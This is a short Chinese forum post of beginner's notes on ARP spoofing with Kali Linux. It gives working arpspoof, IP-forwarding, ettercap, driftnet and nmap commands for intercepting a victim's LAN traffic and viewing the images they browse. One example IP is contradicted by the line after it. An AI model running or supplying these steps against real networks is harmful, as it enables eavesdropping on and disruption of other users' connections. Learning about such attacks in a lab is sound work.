|
学习arp攻击/欺骗，作几个notes。
环境 VMware下的kali Linux，该系统集成了很多入侵、扫描工具。
1.arp攻击/欺骗
arpspoof -i eth0 -t 目标ip 主机ip（路由器）
例如 arpspoof -i eth0 -t 192.168.1.100 192.168.1.1
其中192.168.1.168为攻击目标，192.168.1.1为主机（路由器）ip
2.arp攻击与欺骗的区别
arp攻击是指不进行流量转发，直接arpspoof目标主机，造成后果是被攻击的目标会无法正常上网，易暴露。
arp欺骗是先进行流量转发，再进行arpspoof。
kali linux 默认关闭流量转发，打开方法如3所示。
3.修改ip转发权限，默认kali linux 系统不允许
cat /proc/sys/net/ipv4/ip_forward 查看值一般为0
echo 1 > /proc/sys/net/ipv4/ip_forward 改为1
4.抓包与获取数据
网上有很多是用ettercap -T -q -i eth0 嗅探或driftnet –i eth0 打开窗口流量监控
其中ettercap 按空格开始执行，将数据包打印在终端；
driftnet是显示目标主机的浏览图片，不过显示不全，只能显示一部分。
但是实测遇到一些问题，抓包效率低，故还是推荐使用wireshark进行抓包。
5.其他
ifconfig 寻找主机 ip等信息
nmap -sP ip前三个字节.0/24 扫描内网中的主机
初次学习，请多多指导。 | 
转播
